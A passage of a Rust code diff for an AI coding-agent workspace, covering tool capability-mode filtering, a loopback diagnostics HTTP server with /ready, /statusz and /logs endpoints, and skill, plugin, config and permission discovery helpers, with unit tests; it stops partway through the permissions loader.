/// Every `ToolKind` variant. Used by `is_subset_of` and by parameterised
/// tests. When a new variant is added to `ToolKind`, the compile-time
/// assertion below fires so it can't be silently omitted.
pub(crate) const ALL_TOOL_KINDS: &[ToolKind] = &[
ToolKind::Read,
ToolKind::Edit,
ToolKind::Delete,
ToolKind::ListDir,
ToolKind::Write,
ToolKind::Move,
ToolKind::Search,
ToolKind::Lsp,
ToolKind::Execute,
ToolKind::Plan,
ToolKind::WebSearch,
ToolKind::WebFetch,
ToolKind::BackgroundTaskAction,
ToolKind::WaitTasksAction,
ToolKind::KillTaskAction,
ToolKind::List,
ToolKind::Skill,
ToolKind::MemorySearch,
ToolKind::MemoryGet,
ToolKind::Task,
ToolKind::EnterPlan,
ToolKind::ExitPlan,
ToolKind::AskUser,
ToolKind::ImageGen,
ToolKind::VideoGen,
ToolKind::ImageToVideo,
ToolKind::ReferenceToVideo,
ToolKind::DeployApp,
ToolKind::SearchTool,
ToolKind::UseTool,
ToolKind::Monitor,
ToolKind::GoalUpdate,
ToolKind::Other,
];
// Compile-time guard: if a new `ToolKind` variant is added but not listed in
// `ALL_TOOL_KINDS`, this assertion fails.
const _: () = assert!(
ALL_TOOL_KINDS.len() == ToolKind::VARIANT_COUNT,
"ALL_TOOL_KINDS is out of sync with ToolKind — add the new variant"
);
/// Maps `(CapabilityMode, ToolKind)` -> kept-or-dropped.
///
/// This `match` is intentionally exhaustive: when `ToolKind` gains a
/// new variant the compiler errors here, forcing a triage decision.
pub(crate) fn kind_allowed(mode: CapabilityMode, kind: ToolKind) -> bool {
use CapabilityMode as M;
use ToolKind::*;
if matches!(mode, M::All) {
return true;
}
match kind {
// Meta tools: always allowed.
Plan | EnterPlan | ExitPlan | AskUser | Skill | SearchTool | GoalUpdate => true,
// Read class.
Read | MemoryGet | MemorySearch => {
matches!(mode, M::ReadOnly | M::ReadWrite | M::Execute)
}
// Search class.
Search | WebSearch | WebFetch => {
matches!(mode, M::ReadOnly | M::ReadWrite | M::Execute)
}
// Inspect class.
Lsp | ListDir | List => matches!(mode, M::ReadOnly | M::ReadWrite | M::Execute),
// Edit class.
Edit | Write | Delete | Move | ImageGen | VideoGen | ImageToVideo | ReferenceToVideo
| DeployApp => matches!(mode, M::ReadWrite),
// Bash / shell.
Execute => matches!(mode, M::Execute),
// Process control (background tasks, monitors).
BackgroundTaskAction | WaitTasksAction | KillTaskAction | Task | Monitor => {
matches!(mode, M::Execute)
}
// Integration dispatch.
UseTool => matches!(mode, M::ReadWrite | M::Execute),
// Catch-all -- only `All` mode keeps it (early-return above).
Other => false,
}
}
// ---------------------------------------------------------------------------
// Tests
// ---------------------------------------------------------------------------
#[cfg(test)]
mod tests {
use super::*;
use crate::session::tool_config::test_support;
use kigi_tools::types::tool::ToolKind;
fn make_cfg(tools: Vec<ToolConfig>) -> ToolServerConfig {
ToolServerConfig {
tools,
behavior_preset: None,
}
}
#[test]
fn capability_mode_filter_table_is_exhaustive_per_kind() {
for &mode in &[
CapabilityMode::ReadOnly,
CapabilityMode::ReadWrite,
CapabilityMode::Execute,
CapabilityMode::All,
] {
for &kind in ALL_TOOL_KINDS {
let id = format!("kind_{kind:?}");
let cfg = make_cfg(vec![test_support::tc(&id, Some(kind))]);
let out = mode.filter(&cfg);
let expected_present = kind_allowed(mode, kind);
let actually_present = out.tools.iter().any(|t| t.id == id);
assert_eq!(
actually_present, expected_present,
"({mode:?}, {kind:?}): expected present={expected_present}, got {actually_present}"
);
}
}
}
#[test]
fn capability_mode_filter_anchored_membership() {
let cfg = make_cfg(vec![
test_support::tc("read", Some(ToolKind::Read)),
test_support::tc("search", Some(ToolKind::Search)),
test_support::tc("inspect", Some(ToolKind::Lsp)),
test_support::tc("edit", Some(ToolKind::Edit)),
test_support::tc("write", Some(ToolKind::Write)),
test_support::tc("bash", Some(ToolKind::Execute)),
test_support::tc("bg", Some(ToolKind::BackgroundTaskAction)),
test_support::tc("plan", Some(ToolKind::Plan)),
test_support::tc("ask", Some(ToolKind::AskUser)),
test_support::tc("other", Some(ToolKind::Other)),
]);
let names = |c: &ToolServerConfig| -> Vec<String> {
c.tools.iter().map(|t| t.id.clone()).collect()
};
let ro = CapabilityMode::ReadOnly.filter(&cfg);
assert_eq!(names(&ro), vec!["read", "search", "inspect", "plan", "ask"]);
let rw = CapabilityMode::ReadWrite.filter(&cfg);
assert_eq!(
names(&rw),
vec!["read", "search", "inspect", "edit", "write", "plan", "ask"]
);
let ex = CapabilityMode::Execute.filter(&cfg);
assert_eq!(
names(&ex),
vec!["read", "search", "inspect", "bash", "bg", "plan", "ask"]
);
let all = CapabilityMode::All.filter(&cfg);
assert_eq!(
names(&all),
vec![
"read", "search", "inspect", "edit", "write", "bash", "bg", "plan", "ask", "other"
]
);
}
#[test]
fn capability_mode_baseline_kind_none_always_kept_via_filter() {
let cfg = make_cfg(vec![
test_support::tc("baseline.opaque", None),
test_support::tc("baseline.also_opaque", None),
test_support::tc("edit_dropped", Some(ToolKind::Edit)),
]);
for mode in [
CapabilityMode::ReadOnly,
CapabilityMode::ReadWrite,
CapabilityMode::Execute,
CapabilityMode::All,
] {
let filtered = mode.filter(&cfg);
let ids: Vec<&str> = filtered.tools.iter().map(|t| t.id.as_str()).collect();
assert!(
ids.contains(&"baseline.opaque"),
"kind: None tool dropped under {mode:?}: {ids:?}"
);
assert!(
ids.contains(&"baseline.also_opaque"),
"kind: None tool dropped under {mode:?}: {ids:?}"
);
}
}
#[test]
fn capability_mode_preserves_behavior_preset_across_all_modes() {
let mut cfg = make_cfg(vec![test_support::tc("read", Some(ToolKind::Read))]);
cfg.behavior_preset = Some("current".to_owned());
for mode in [
CapabilityMode::ReadOnly,
CapabilityMode::ReadWrite,
CapabilityMode::Execute,
CapabilityMode::All,
] {
let out = mode.filter(&cfg);
assert_eq!(
out.behavior_preset.as_deref(),
Some("current"),
"behavior_preset lost under {mode:?}"
);
}
}
// -----------------------------------------------------------------------
// is_subset_of partial order
// -----------------------------------------------------------------------
#[test]
fn capability_mode_is_subset_of_reflexive() {
for &m in &[
CapabilityMode::ReadOnly,
CapabilityMode::ReadWrite,
CapabilityMode::Execute,
CapabilityMode::All,
] {
assert!(m.is_subset_of(m), "{m:?} must be a subset of itself");
}
}
#[test]
fn capability_mode_is_subset_of_strict_chains() {
assert!(CapabilityMode::ReadOnly.is_subset_of(CapabilityMode::ReadWrite));
assert!(CapabilityMode::ReadOnly.is_subset_of(CapabilityMode::All));
assert!(CapabilityMode::ReadWrite.is_subset_of(CapabilityMode::All));
assert!(CapabilityMode::ReadOnly.is_subset_of(CapabilityMode::Execute));
assert!(CapabilityMode::Execute.is_subset_of(CapabilityMode::All));
}
#[test]
fn capability_mode_is_subset_of_widening_rejected() {
assert!(!CapabilityMode::All.is_subset_of(CapabilityMode::ReadOnly));
assert!(!CapabilityMode::ReadWrite.is_subset_of(CapabilityMode::ReadOnly));
assert!(!CapabilityMode::Execute.is_subset_of(CapabilityMode::ReadOnly));
assert!(!CapabilityMode::All.is_subset_of(CapabilityMode::ReadWrite));
assert!(!CapabilityMode::All.is_subset_of(CapabilityMode::Execute));
}
#[test]
fn capability_mode_is_subset_of_incomparable_pairs() {
assert!(!CapabilityMode::ReadWrite.is_subset_of(CapabilityMode::Execute));
assert!(!CapabilityMode::Execute.is_subset_of(CapabilityMode::ReadWrite));
}
}
@@ -0,0 +1,19 @@
//! Shared transport types used by workspace communication layers.
//!
//! The `WorkspaceChannel` trait and `MpscChannel` in-process implementation
//! have been removed. Sessions now use `WorkspaceHandle` directly (local mode)
//! or `ToolHarness` RPC calls (proxy mode). These shared types remain for
//! backward compatibility with code that references them.
use serde_json::Value;
/// Context passed alongside transport calls (session routing, tracing, etc.).
#[derive(Debug, Clone, Default)]
pub struct TransportContext {
pub session_id: Option<String>,
}
/// Transport-level error (distinct from [`WorkspaceError`]).
pub type TransportError = anyhow::Error;
pub type TransportCallResult = Value;
pub type TransportNotification = Value;
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
@@ -0,0 +1,561 @@
//! In-guest diagnostics HTTP server (`/ready`, `/statusz`, `/logs`) for the
//! standalone workspace-server.
//!
//! The surface is reachable by any process inside the user's own sandbox
//! (loopback-only TCP, or a 0600 Unix socket) and is never exposed through
//! the sandbox port mapping. `/logs` returns the raw daemon log: treat its
//! output as sensitive and keep the log stream free of secrets.
use std::io::{self, Read as _, Seek as _, SeekFrom};
use std::net::Ipv4Addr;
use std::path::{Path, PathBuf};
use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
use std::time::{SystemTime, UNIX_EPOCH};
use std::{env, fs, process};
use anyhow::anyhow;
use axum::Router;
use axum::extract::{Query, State};
use axum::http::{StatusCode, header};
use axum::response::{IntoResponse, Response};
use axum::routing::get;
use serde::{Deserialize, Serialize};
use tokio::net::TcpListener;
#[cfg(unix)]
use tokio::net::UnixListener;
use tokio::task::JoinHandle;
/// Default Unix socket path (resolves host-visibly under the production
/// launcher's `/tmp` bind mount, next to the ready/pid files).
#[cfg(unix)]
pub const DEFAULT_DIAG_SOCKET_PATH: &str = "/tmp/workspace-server.sock";
/// Default loopback TCP port for Windows guests.
pub const DEFAULT_DIAG_PORT: u16 = 6016;
/// Grep-able daemon-log marker for a diagnostics bind failure.
pub const DIAG_BIND_FAILED_MARKER: &str = "diagnostics server bind failed";
/// Process exit code for a fatal diagnostics bind failure in `--daemonize` mode.
pub const EXIT_DIAG_BIND_FAILED: i32 = 5;
/// Default `/logs` tail size when `tail_bytes` is not given.
pub const DEFAULT_LOG_TAIL_BYTES: u64 = 64 * 1024;
/// Hard cap on a `/logs` response; larger `tail_bytes` values are clamped.
pub const MAX_LOG_TAIL_BYTES: u64 = 256 * 1024;
/// Hub connection state as reported on `/ready`.
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
#[serde(rename_all = "lowercase")]
pub enum DiagState {
Starting,
Connected,
Disconnected,
}
/// Response body for `/ready`. The field set is a frozen contract with the
/// sandbox readiness gate: never rename or remove fields; additions are
/// backward-compatible.
#[derive(Debug, Serialize)]
struct ReadyBody {
/// Serialized as an explicit `null` (never omitted) for nonce-less
/// launches.
launch_id: Option<String>,
state: DiagState,
pid: u32,
connected_at: Option<u64>,
state_changed_at: u64,
version: &'static str,
}
/// Response body for `/statusz`: the `/ready` fields plus debug extras.
#[derive(Debug, Serialize)]
struct StatuszBody {
#[serde(flatten)]
ready: ReadyBody,
os: &'static str,
}
#[derive(Debug)]
struct Inner {
state: DiagState,
connected_at: Option<u64>,
state_changed_at: u64,
shutting_down: bool,
}
/// Cloneable handle publishing hub lifecycle transitions to the server.
#[derive(Debug, Clone)]
pub struct DiagHandle {
launch_id: Option<String>,
inner: Arc<Mutex<Inner>>,
}
impl DiagHandle {
/// `launch_id` is the caller-minted per-spawn nonce, echoed verbatim on
/// `/ready` (`null` for nonce-less local launches).
pub fn new(launch_id: Option<String>) -> Self {
Self {
launch_id,
inner: Arc::new(Mutex::new(Inner {
state: DiagState::Starting,
connected_at: None,
state_changed_at: now_ms(),
shutting_down: false,
})),
}
}
/// Initial hello completed, or a reconnect's serve replay settled.
/// Ignored after [`Self::set_shutting_down`]: a reconnect that settles
/// during the shutdown drain must not republish `connected`.
pub fn set_connected(&self) {
let mut inner = self.lock();
if inner.shutting_down {
return;
}
inner.state = DiagState::Connected;
let now = now_ms();
inner.connected_at.get_or_insert(now);
inner.state_changed_at = now;
}
/// Server socket dropped.
pub fn set_disconnected(&self) {
let mut inner = self.lock();
inner.state = DiagState::Disconnected;
inner.state_changed_at = now_ms();
}
/// Latch `disconnected` for process shutdown: reported as `disconnected`
/// on `/ready`, and later `set_connected` calls become no-ops.
pub fn set_shutting_down(&self) {
let mut inner = self.lock();
inner.shutting_down = true;
inner.state = DiagState::Disconnected;
inner.state_changed_at = now_ms();
}
/// True after [`Self::set_shutting_down`].
pub fn is_shutting_down(&self) -> bool {
self.lock().shutting_down
}
fn lock(&self) -> MutexGuard<'_, Inner> {
self.inner.lock().unwrap_or_else(PoisonError::into_inner)
}
fn ready_body(&self) -> ReadyBody {
let inner = self.lock();
ReadyBody {
launch_id: self.launch_id.clone(),
state: inner.state,
pid: process::id(),
connected_at: inner.connected_at,
state_changed_at: inner.state_changed_at,
version: kigi_version::VERSION,
}
}
fn statusz_body(&self) -> StatuszBody {
StatuszBody {
ready: self.ready_body(),
os: env::consts::OS,
}
}
}
fn now_ms() -> u64 {
SystemTime::now()
.duration_since(UNIX_EPOCH)
.map(|d| d.as_millis() as u64)
.unwrap_or(0)
}
/// Where the diagnostics server listens: a Unix socket on Linux, loopback TCP
/// on Windows. Both variants compile everywhere so the TCP path is testable
/// on Linux.
#[derive(Debug, Clone)]
pub enum DiagListener {
#[cfg(unix)]
Unix(PathBuf),
Tcp(u16),
}
/// Shared request state: the lifecycle handle plus the daemon log path
/// (`None` when logs go to a terminal instead of a file — `/logs` is 404).
#[derive(Debug, Clone)]
struct DiagContext {
handle: DiagHandle,
log_file: Option<Arc<PathBuf>>,
}
#[derive(Debug, Deserialize)]
struct LogsQuery {
tail_bytes: Option<u64>,
}
async fn logs(State(ctx): State<DiagContext>, Query(query): Query<LogsQuery>) -> Response {
let Some(path) = ctx.log_file else {
return StatusCode::NOT_FOUND.into_response();
};
let tail = query
.tail_bytes
.unwrap_or(DEFAULT_LOG_TAIL_BYTES)
.min(MAX_LOG_TAIL_BYTES);
match tokio::task::spawn_blocking(move || tail_file(&path, tail)).await {
Ok(Ok(bytes)) => (
[(header::CONTENT_TYPE, "text/plain; charset=utf-8")],
String::from_utf8_lossy(&bytes).into_owned(),
)
.into_response(),
Ok(Err(e)) if e.kind() == io::ErrorKind::NotFound => StatusCode::NOT_FOUND.into_response(),
// Generic body: an io::Error would echo the log-file path to clients.
Ok(Err(e)) => {
tracing::warn!(error = %e, "failed to read log tail");
(StatusCode::INTERNAL_SERVER_ERROR, "failed to read log").into_response()
}
Err(e) => {
tracing::warn!(error = %e, "log tail task failed");
(StatusCode::INTERNAL_SERVER_ERROR, "failed to read log").into_response()
}
}
}
/// Read at most the last `max` bytes of `path`.
fn tail_file(path: &Path, max: u64) -> io::Result<Vec<u8>> {
let mut file = fs::File::open(path)?;
let len = file.metadata()?.len();
file.seek(SeekFrom::Start(len.saturating_sub(max)))?;
let mut buf = Vec::new();
// `take` bounds the read even if the file grows underneath us.
file.take(max).read_to_end(&mut buf)?;
Ok(buf)
}
fn router(ctx: DiagContext) -> Router {
Router::new()
.route(
"/ready",
get(|State(ctx): State<DiagContext>| async move {
let body = ctx.handle.ready_body();
// Non-2xx for "not ready" so naive HTTP probes agree with
// consumers that parse `state`. The body is served either way.
let status = if body.state == DiagState::Connected {
StatusCode::OK
} else {
StatusCode::SERVICE_UNAVAILABLE
};
(status, axum::Json(body))
}),
)
.route(
"/statusz",
get(|State(ctx): State<DiagContext>| async move { axum::Json(ctx.handle.statusz_body()) }),
)
.route("/logs", get(logs))
.with_state(ctx)
}
/// Bind the listener and spawn the server task. Binding happens before this
/// returns, so a bind failure surfaces synchronously. `log_file` is the
/// daemon log served by `/logs` (`None` ⇒ `/logs` is 404).
pub async fn serve(
listener: DiagListener,
handle: DiagHandle,
log_file: Option<PathBuf>,
) -> anyhow::Result<BoundDiag> {
let ctx = DiagContext {
handle,
log_file: log_file.map(Arc::new),
};
match listener {
#[cfg(unix)]
DiagListener::Unix(path) => {
let _ = fs::remove_file(&path);
let listener =
UnixListener::bind(&path).map_err(|e| anyhow!("bind {}: {e}", path.display()))?;
use std::os::unix::fs::PermissionsExt as _;
if let Err(e) = fs::set_permissions(&path, fs::Permissions::from_mode(0o600)) {
tracing::warn!(
path = %path.display(),
error = %e,
"failed to restrict diagnostics socket permissions"
);
}
let task = tokio::spawn(async move {
if let Err(e) = axum::serve(listener, router(ctx)).await {
tracing::warn!(error = %e, "diagnostics server exited");
}
});
Ok(BoundDiag {
addr: format!("unix:{}", path.display()),
port: None,
task,
})
}
DiagListener::Tcp(port) => {
let listener = TcpListener::bind((Ipv4Addr::LOCALHOST, port))
.await
.map_err(|e| anyhow!("bind 127.0.0.1:{port}: {e}"))?;
let local = listener.local_addr()?;
let task = tokio::spawn(async move {
if let Err(e) = axum::serve(listener, router(ctx)).await {
tracing::warn!(error = %e, "diagnostics server exited");
}
});
Ok(BoundDiag {
addr: format!("http://{local}"),
port: Some(local.port()),
task,
})
}
}
}
/// A successfully bound diagnostics server.
#[derive(Debug)]
pub struct BoundDiag {
/// Human-readable bound address for the startup log line.
pub addr: String,
/// Bound TCP port (`None` for Unix sockets).
pub port: Option<u16>,
/// The serve task; held by the production launcher for the process lifetime.
pub task: JoinHandle<()>,
}
#[cfg(test)]
mod tests {
use serde_json::Value;
use super::*;
async fn get_json(port: u16, path: &str) -> (u16, Value) {
let response = reqwest::get(format!("http://127.0.0.1:{port}{path}"))
.await
.expect("request");
let status = response.status().as_u16();
let body = response.text().await.expect("body");
(status, serde_json::from_str(&body).expect("json body"))
}
#[tokio::test]
async fn ready_response_contract_is_frozen() {
let handle = DiagHandle::new(Some("nonce-1".to_owned()));
let bound = serve(DiagListener::Tcp(0), handle, None)
.await
.expect("bind");
let (status, body) = get_json(bound.port.expect("tcp port"), "/ready").await;
assert_eq!(status, 503, "not yet connected must not probe as ready");
let obj = body.as_object().expect("object");
for key in [
"launch_id",
"state",
"pid",
"connected_at",
"state_changed_at",
"version",
] {
assert!(obj.contains_key(key), "missing frozen key {key}");
}
assert_eq!(body["launch_id"], "nonce-1");
assert_eq!(body["state"], "starting");
assert_eq!(body["connected_at"], Value::Null);
}
#[tokio::test]
async fn state_follows_hub_lifecycle_and_freezes_connected_at() {
let handle = DiagHandle::new(None);
let bound = serve(DiagListener::Tcp(0), handle.clone(), None)
.await
.expect("bind");
let port = bound.port.expect("tcp port");
handle.set_connected();
let (status, connected) = get_json(port, "/ready").await;
assert_eq!(status, 200);
assert_eq!(connected["state"], "connected");
assert!(connected["connected_at"].is_u64());
assert_eq!(connected["launch_id"], Value::Null);
handle.set_disconnected();
let (status, disconnected) = get_json(port, "/ready").await;
assert_eq!(status, 503);
assert_eq!(disconnected["state"], "disconnected");
assert_eq!(
disconnected["connected_at"], connected["connected_at"],
"connected_at is frozen at first connect and echoed on disconnect"
);
handle.set_connected();
let (status, reconnected) = get_json(port, "/ready").await;
assert_eq!(status, 200);
assert_eq!(reconnected["state"], "connected");
assert_eq!(
reconnected["connected_at"], connected["connected_at"],
"reconnect must not re-mint connected_at"
);
}
#[tokio::test]
async fn shutting_down_latches_disconnected_across_reconnects() {
let handle = DiagHandle::new(None);
let bound = serve(DiagListener::Tcp(0), handle.clone(), None)
.await
.expect("bind");
let port = bound.port.expect("tcp port");
handle.set_connected();
handle.set_shutting_down();
// A reconnect settling during the shutdown drain must not republish
// `connected`.
handle.set_connected();
let (status, body) = get_json(port, "/ready").await;
assert_eq!(status, 503);
assert_eq!(body["state"], "disconnected");
assert!(handle.is_shutting_down());
}
#[cfg(unix)]
#[tokio::test]
async fn unix_socket_serves_ready_and_rebinds_over_stale_socket() {
let dir = tempfile::tempdir().expect("tempdir");
let sock = dir.path().join("ws.sock");
drop(std::os::unix::net::UnixListener::bind(&sock).expect("stale bind"));
let handle = DiagHandle::new(Some("nonce-uds".to_owned()));
let _bound = serve(DiagListener::Unix(sock.clone()), handle.clone(), None)
.await
.expect("bind over stale socket");
handle.set_connected();
use std::os::unix::fs::PermissionsExt as _;
let mode = fs::metadata(&sock)
.expect("socket meta")
.permissions()
.mode();
assert_eq!(mode & 0o777, 0o600, "socket must be owner-only");
use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
let mut stream = tokio::net::UnixStream::connect(&sock)
.await
.expect("connect");
stream
.write_all(b"GET /ready HTTP/1.1\r\nHost: ws\r\nConnection: close\r\n\r\n")
.await
.expect("write request");
let mut response = Vec::new();
stream
.read_to_end(&mut response)
.await
.expect("read response");
let response = String::from_utf8_lossy(&response);
assert!(response.starts_with("HTTP/1.1 200"), "got: {response}");
let body = response.split("\r\n\r\n").nth(1).expect("body");
let json_start = body.find('{').expect("json start");
let json_end = body.rfind('}').expect("json end");
let parsed: Value = serde_json::from_str(&body[json_start..=json_end]).expect("json");
assert_eq!(parsed["launch_id"], "nonce-uds");
assert_eq!(parsed["state"], "connected");
}
#[tokio::test]
async fn tcp_bind_conflict_surfaces_as_error() {
let first = serve(DiagListener::Tcp(0), DiagHandle::new(None), None)
.await
.expect("first bind");
let port = first.port.expect("tcp port");
let err = serve(DiagListener::Tcp(port), DiagHandle::new(None), None).await;
assert!(err.is_err(), "second bind on the same port must fail");
}
async fn get_text(port: u16, path: &str) -> (u16, Option<String>, String) {
let response = reqwest::get(format!("http://127.0.0.1:{port}{path}"))
.await
.expect("request");
let status = response.status().as_u16();
let content_type = response
.headers()
.get(reqwest::header::CONTENT_TYPE)
.map(|v| v.to_str().expect("content-type").to_owned());
(status, content_type, response.text().await.expect("body"))
}
async fn serve_with_log(log_file: Option<PathBuf>) -> u16 {
let bound = serve(DiagListener::Tcp(0), DiagHandle::new(None), log_file)
.await
.expect("bind");
bound.port.expect("tcp port")
}
#[tokio::test]
async fn logs_tails_requested_bytes_as_plain_text() {
let dir = tempfile::tempdir().expect("tempdir");
let log = dir.path().join("ws.log");
fs::write(&log, "0123456789").expect("write log");
let port = serve_with_log(Some(log)).await;
let (status, content_type, body) = get_text(port, "/logs?tail_bytes=4").await;
assert_eq!(status, 200);
assert_eq!(content_type.as_deref(), Some("text/plain; charset=utf-8"));
assert_eq!(body, "6789");
// A tail larger than the file returns the whole file.
let (status, _, body) = get_text(port, "/logs?tail_bytes=1000").await;
assert_eq!(status, 200);
assert_eq!(body, "0123456789");
}
#[tokio::test]
async fn logs_default_and_hard_cap_bound_the_response() {
let dir = tempfile::tempdir().expect("tempdir");
let log = dir.path().join("ws.log");
// Larger than the hard cap; ends with a marker to prove we got the tail.
let mut content = vec![b'a'; (MAX_LOG_TAIL_BYTES + 4096) as usize];
content.extend_from_slice(b"END-MARKER");
fs::write(&log, &content).expect("write log");
let port = serve_with_log(Some(log)).await;
let (status, _, body) = get_text(port, "/logs").await;
assert_eq!(status, 200);
assert_eq!(body.len() as u64, DEFAULT_LOG_TAIL_BYTES);
assert!(body.ends_with("END-MARKER"));
let (status, _, body) = get_text(port, "/logs?tail_bytes=999999999").await;
assert_eq!(status, 200);
assert_eq!(body.len() as u64, MAX_LOG_TAIL_BYTES, "hard cap applies");
assert!(body.ends_with("END-MARKER"));
}
#[tokio::test]
async fn logs_tail_is_lossy_utf8() {
let dir = tempfile::tempdir().expect("tempdir");
let log = dir.path().join("ws.log");
// 'é' is 0xC3 0xA9; a 1-byte tail cuts the sequence mid-char.
fs::write(&log, "aé").expect("write log");
let port = serve_with_log(Some(log)).await;
let (status, _, body) = get_text(port, "/logs?tail_bytes=1").await;
assert_eq!(status, 200);
assert_eq!(body, "\u{FFFD}", "a torn UTF-8 boundary must be lossy");
}
#[tokio::test]
async fn logs_without_log_file_is_404() {
let port = serve_with_log(None).await;
let (status, _, _) = get_text(port, "/logs").await;
assert_eq!(status, 404);
}
#[tokio::test]
async fn logs_missing_log_file_is_404() {
let dir = tempfile::tempdir().expect("tempdir");
let port = serve_with_log(Some(dir.path().join("never-created.log"))).await;
let (status, _, _) = get_text(port, "/logs").await;
assert_eq!(status, 404);
}
}
@@ -0,0 +1,582 @@
//! Skill, plugin, project-config, and permissions discovery.
//!
//! Phase 3a delegates to the existing discovery implementations in
//! `kigi-agent` and `kigi-tools` rather than duplicating them.
//! The workspace stores configuration on [`WorkspaceShared`] and the
//! [`MpscChannel`] methods call these helpers to return real data
//! instead of `Value::Null` stubs.
//!
//! Re-exports [`AgentsMdTracker`] from `kigi-tools` for external
//! consumers that need per-session project-instruction tracking.
use std::path::Path;
use serde_json::Value;
// Re-export AgentsMdTracker so consumers can reference it via the
// workspace crate without a direct kigi-tools dependency.
pub use kigi_tools::types::agents_md_tracker::AgentsMdTracker;
// Re-export the config types that callers pass into WorkspaceConfig.
pub use kigi_agent::plugins::discovery::DiscoveryConfig as PluginDiscoveryConfig;
pub use kigi_agent::plugins::trust::TrustStore as PluginTrustStore;
pub use kigi_agent::prompt::skills::SkillsConfig;
// ---------------------------------------------------------------------------
// Skill discovery
// ---------------------------------------------------------------------------
/// Discover skills visible from the workspace root.
///
/// Delegates to [`kigi_agent::prompt::skills::list_skills`] with
/// the workspace's `root_cwd` and the caller-supplied `SkillsConfig`.
/// Returns each [`SkillInfo`] serialized to a `serde_json::Value`.
///
/// The underlying `list_skills` implementation performs filesystem
/// I/O (stat + read for each SKILL.md) and does not hold any async
/// locks across `.await` points, so contention is not a concern.
pub async fn discover_skills(root_cwd: &Path, config: &SkillsConfig) -> Vec<Value> {
let cwd_str = root_cwd.to_string_lossy();
// Workspace discovery is out of scope for per-vendor compat gating;
// use the all-on default to preserve prior behavior.
let skills = kigi_agent::prompt::skills::list_skills(
Some(&cwd_str),
config,
kigi_agent::prompt::skills::CompatConfig::default(),
)
.await;
skills
.into_iter()
.filter_map(|s| match serde_json::to_value(&s) {
Ok(v) => Some(v),
Err(e) => {
tracing::warn!(
skill = %s.name,
error = %e,
"failed to serialize SkillInfo; dropping from response"
);
None
}
})
.collect()
}
// ---------------------------------------------------------------------------
// AGENTS.md discovery
// ---------------------------------------------------------------------------
/// Discover project-instruction files (AGENTS.md, Claude.md, rules) from the workspace root up to the git root.
pub async fn discover_agents_md(root_cwd: &Path) -> Vec<Value> {
let cwd_str = root_cwd.to_string_lossy();
let files = kigi_agent::prompt::agents_md::read_agents_config_with_paths(
&cwd_str,
kigi_tools::types::compat::CompatConfig::default(),
)
.await;
files
.into_iter()
.map(|mut file| {
// Strip rules-file YAML frontmatter so it does not leak as raw YAML (matches grok-build render).
if file.file_path.contains("/.kigi/rules/")
|| file.file_path.contains("/.claude/rules/")
{
file.content =
kigi_tools::implementations::skills::skill::extract_skill_body(&file.content);
}
file
})
.filter_map(|file| match serde_json::to_value(&file) {
Ok(v) => Some(v),
Err(e) => {
tracing::warn!(
file = %file.file_path,
error = %e,
"failed to serialize AgentConfigFile; dropping from response"
);
None
}
})
.collect()
}
// ---------------------------------------------------------------------------
// Plugin discovery
// ---------------------------------------------------------------------------
/// Discover plugins visible from the workspace root.
///
/// Delegates to [`kigi_agent::plugins::discover_plugins`] with
/// the workspace's `root_cwd` and the caller-supplied
/// [`PluginDiscoveryConfig`] and [`PluginTrustStore`].
///
/// Since [`DiscoveredPlugin`] does not derive `Serialize`, each
/// plugin is converted to a JSON object with the essential fields
/// that downstream consumers need (name, scope, root, trusted,
/// has_skills, has_hooks, has_mcp).
///
/// `project_trusted` is the folder-trust verdict for `root_cwd`, threaded into
/// discovery to gate Project-scope plugins.
pub fn discover_plugins(
root_cwd: &Path,
config: &PluginDiscoveryConfig,
trust_store: &PluginTrustStore,
project_trusted: bool,
) -> Vec<Value> {
let discovered =
kigi_agent::plugins::discover_plugins(Some(root_cwd), config, trust_store, project_trusted);
discovered
.into_iter()
.map(|dp| {
serde_json::json!({
"name": dp.manifest.name,
"id": dp.id.0,
"root": dp.root.to_string_lossy(),
"scope": dp.scope.to_string(),
"trusted": dp.trusted,
"version": dp.manifest.version,
"description": dp.manifest.description,
"has_skills": !dp.skill_dirs.is_empty(),
"has_agents": !dp.agent_dirs.is_empty(),
"has_hooks": dp.hooks_path.is_some(),
"has_mcp": dp.mcp_config_path.is_some(),
"has_lsp": dp.lsp_config_path.is_some(),
"conflict": dp.conflict,
})
})
.collect()
}
// ---------------------------------------------------------------------------
// Project config
// ---------------------------------------------------------------------------
/// Load the project config from `<root_cwd>/.kigi/config.toml`.
///
/// Returns `Value::Null` if the file does not exist or cannot be
/// parsed. Non-fatal errors are logged.
pub fn load_project_config(root_cwd: &Path) -> Value {
let config_path = root_cwd.join(".kigi").join("config.toml");
match kigi_config::load_config_file(&config_path) {
Ok(toml::Value::Table(ref t)) if t.is_empty() => {
// The config loader returns an empty table when the file
// does not exist. Normalize to Null for callers.
Value::Null
}
Ok(toml_val) => toml_to_json(&toml_val),
Err(e) => {
tracing::warn!(
path = %config_path.display(),
error = %e,
"failed to load project config"
);
Value::Null
}
}
}
/// Convert a `toml::Value` to a `serde_json::Value`.
///
/// TOML's type system is close to JSON's. The main difference is
/// TOML's `Datetime` type which maps to a JSON string.
fn toml_to_json(v: &toml::Value) -> Value {
match v {
toml::Value::String(s) => Value::String(s.clone()),
toml::Value::Integer(i) => serde_json::json!(i),
toml::Value::Float(f) => serde_json::json!(f),
toml::Value::Boolean(b) => Value::Bool(*b),
toml::Value::Datetime(dt) => Value::String(dt.to_string()),
toml::Value::Array(arr) => Value::Array(arr.iter().map(toml_to_json).collect()),
toml::Value::Table(table) => {
let map: serde_json::Map<String, Value> = table
.iter()
.map(|(k, v)| (k.clone(), toml_to_json(v)))
.collect();
Value::Object(map)
}
}
}
// ---------------------------------------------------------------------------
// Permissions
// ---------------------------------------------------------------------------
/// Load the effective permission configuration for the workspace.
///
/// Delegates to
/// [`resolution::resolve_permissions_with_provenance`] which
/// merges rules from requirements.toml, managed-settings.json,
/// managed_config.toml, config.toml, and `.claude/settings.json`.
///
/// Returns a JSON object with `sources`, `loaded` (rule count), and
/// `skipped` (unrecognized rules). Returns `Value::Null` if no
/// permission sources are configured.
pub async fn load_permissions(root_cwd: &Path) -> Value {
use crate::permission::resolution;
let Some(resolved) = resolution::resolve_permissions_with_provenance(root_cwd).await else {
return Value::Null;
};
let mut sources: Vec<String> = Vec::new();
for s in resolved.sources.iter().map(|s| s.to_string()) {
if !sources.contains(&s) {
sources.push(s);
}
}
let skipped: Vec<Value> = resolved
.skipped
.iter()
.map(|s| {
